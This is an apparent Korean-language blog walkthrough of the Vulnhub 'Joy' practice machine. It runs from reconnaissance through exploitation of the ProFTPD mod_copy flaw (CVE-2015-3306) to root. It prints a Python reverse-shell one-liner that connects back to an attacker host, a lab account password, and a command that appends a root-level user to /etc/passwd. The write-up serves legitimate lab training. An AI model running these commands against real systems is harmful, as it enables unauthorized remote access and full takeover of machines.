Vulnhub

[Vulnhub] Digitalworld.local: Joy Walkthrough

jeff_kim 2024. 6. 27. 19:32

https://www.vulnhub.com/entry/digitalworldlocal-joy,298/

 

digitalworld.local: JOY

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/45.0-ip  

Nmap scan report for 192.168.45.14
Host is up (0.00038s latency).
MAC Address: 08:00:27:1D:53:6C (Oracle VirtualBox virtual NIC)

└─$ cat ./recon/target_tcpAll.nmap | awk '{ print $1}' | grep -i '/' | cut -d '/' -f 1 | paste -s -d ','
21,22,25,80,110,139,143,445,465,587,993,995

 

ftp

Anonymous login 허용되어있음

upload에 많은 파일이 있는데 그중에서 directory 라는 파일과 reminder 파일만 가져와서 확인해봤다.

└─$ cat directory                                                                                                                                            
Patrick's Directory                                                                                                                                          
                                                                                                                                                             
total 116                                                                                                                                                    
drwxr-xr-x 18 patrick patrick 4096 Jun 27 16:45 .                                                                                                            
drwxr-xr-x  4 root    root    4096 Jan  6  2019 ..                                                                                                           
-rw-r--r--  1 patrick patrick    0 Jun 27 16:40 0j7w04BbHFqWrL4YWd3eQllEDPAinIIN.txt                                                                         
-rw-r--r--  1 patrick patrick   24 Jun 27 16:40 0rM333hBX0WCamTBs2zMpNiiiOwVKEMOdjcrGy6R2FOTxuzEQ1cq6PHDr0YyqopW.txt                                         
-rw-r--r--  1 patrick patrick   24 Jun 27 16:35 4XDfCJMvZZpKrFIjwDZj9bLcxDcRz8PW4KSvCu5hRNwPH0TkRI5mCt4yLWgczlbJ.txt
-rw-------  1 patrick patrick  185 Jan 28  2019 .bash_history
-rw-r--r--  1 patrick patrick  220 Dec 23  2018 .bash_logout
-rw-r--r--  1 patrick patrick 3526 Dec 23  2018 .bashrc  
drwx------  7 patrick patrick 4096 Jan 10  2019 .cache
drwx------ 10 patrick patrick 4096 Dec 26  2018 .config        
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Desktop                                                                                                      
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Documents
drwxr-xr-x  3 patrick patrick 4096 Jan  6  2019 Downloads
drwx------  3 patrick patrick 4096 Dec 26  2018 .gnupg
-rwxrwxrwx  1 patrick patrick    0 Jan  9  2019 haha
-rw-r--r--  1 patrick patrick    0 Jun 27 16:45 hhbUj7SpadR2RKXUua4uSpADRiOgYYNP.txt
-rw-------  1 patrick patrick 8532 Jan 28  2019 .ICEauthority
-rw-r--r--  1 patrick patrick   24 Jun 27 16:45 JihI13UsIjMK74BxhEUHhKVhcmP36dAh6bYb5cY35eCASeWFQa1jeEpKT1ADX59k.txt
drwxr-xr-x  3 patrick patrick 4096 Dec 26  2018 .local
drwx------  5 patrick patrick 4096 Dec 28  2018 .mozilla
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Music
drwxr-xr-x  2 patrick patrick 4096 Jan  8  2019 .nano
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Pictures
-rw-r--r--  1 patrick patrick  675 Dec 23  2018 .profile
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Public
d---------  2 root    root    4096 Jan  9  2019 script
drwx------  2 patrick patrick 4096 Dec 26  2018 .ssh
-rw-r--r--  1 patrick patrick    0 Jan  6  2019 Sun
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Templates
-rw-r--r--  1 patrick patrick    0 Jan  6  2019 .txt
-rw-r--r--  1 patrick patrick  407 Jan 27  2019 version_control
-rw-r--r--  1 patrick patrick    0 Jun 27 16:35 VFVnF8B8hC3GmSjfC4hQqPYRlMIzhT2G.txt
drwxr-xr-x  2 patrick patrick 4096 Dec 26  2018 Videos

You should know where the directory can be accessed.

Information of this Machine!

Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux


└─$ cat reminder  
Lock down this machine!

패트릭의 홈 디렉터리의 파일 목록들로 보인다 힌트라고 하면 패트릭의 홈디렉터리와 대상 호스트가 구성하고있는 ftp 서버의 버전 정보 쯤 되지 않을까.

 

대상 호스트가 ProFTPD를 사용하고 있는데, ProFTPD는 임의로 파일 복사 취약점이 있다고 한다 그것을 이용하여 파일을복사하고 업로드한다

version_control이 정확히 잘 복사되었고 파일을 가져와 읽어본다

 

이미 ftp에서 많은 정보를 얻어서 바로 취약점 진단하고 익스플로잇을 실시해도되지만, 웹 사이트를 운영하고 있으니 웹도 한번 접속만해서 확인을 해봅니다

 

WEB

접속하면 뜨는 기본 웹 페이지 입니다. OSSEC웹 인터페이스네요 OS에 대한 버전정보, resolv.conf 등등 여기 또한 많은 정보가 들어있네요

 

 

Vulnerability

ftp에서 각 서비스 별로 버전 정보를 획득했으니 searchsploit 툴을 이용하여 취약점 진단을 해봅니다

Remote command Execution 공격을 할 수 있는 공개 취약점이 나왔네요

CVE-2015-3306 코드를 가지고 있는 공개 취약점을 이용한 원격 커멘드 입력 공격을 이용하여 대상 호스트로 접근 해보겠습니다

 

Exploitation

이번 실습 VM에서는 metasploit을 안쓰기로 다짐했기 때문에 구글에서 검색을 해서 익스플로잇 코드를 가져와서 시도하겠습니다

https://github.com/t0kx/exploit-CVE-2015-3306/blob/master/exploit.py

 

exploit-CVE-2015-3306/exploit.py at master · t0kx/exploit-CVE-2015-3306

ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container - t0kx/exploit-CVE-2015-3306

github.com

이 사이트에서 코드를 가져와서 사용했습니다

cmd 파라미터를 넣어서 실행을 하면 command execution이 되는 것 같습니다

이제 직접 실행해보죠

 

테스트 결과 잘 나오는 것을 확인할 수 있습니다

파이썬을 테스트로 사용한 이유는 revshells.com 에서 파이썬으로 리버스쉘을 획득하기 위해서 입니다

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.219",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

이 코드를 적용해서 ?cmd= 옆에 붙여넣습니다

대상 호스트로 초기 침투 완료했고, 권한 상승을 하기 위해서 추가 정보를 수집합니다

 

# credentials for joy
patrick:apollo098765

 

 

Privilege Escalation

획득한 patrick 유저로 접근하여 추가적인 권한 상승할 방법을 찾습니다

 

패트릭은 열심히 일합니다

 

 

어떤 스크립트를 실행하는거같은데 보려면 권한이 없다고 뜨기 때문에 그냥 실행해봅니다

경로를 다시 한번 체크해봅니다

스크립트가 정상적으로 실행 되었네요

그럼 /etc/paswd 파일에 관리자 권한을 가진 유저를 생성합니다

우선 passwd 파일의 형식을 한번 보죠

root:x:0:0:root:/root:/bin/bash


└─$ openssl passwd -6 -salt qwer qwerqwer
$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1


# 추가할 유저
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

 

직접 추가해봅니다

patrick@JOY:~$ echo 'qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash' >> /etc/pa
sswd
<MzgmbipUW1:0:0:qwer:/root:/bin/bash' >> /etc/passwd

patrick@JOY:~$ cat /etc/passwd | tail -n 1
cat /etc/passwd | tail -n 1
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03
[Vulnhub] Prime: 1 Walkthrough  (0) 2024.06.29
[Vulnhub] DIGITALWORLD.LOCAL: MERCY v2 Walkthrough  (0) 2024.06.26
[Vulnhub] DC: 9 Walkthrough  (0) 2024.06.25
[Vulnhub] VulnOS: 2 Walkthrough  (0) 2024.06.24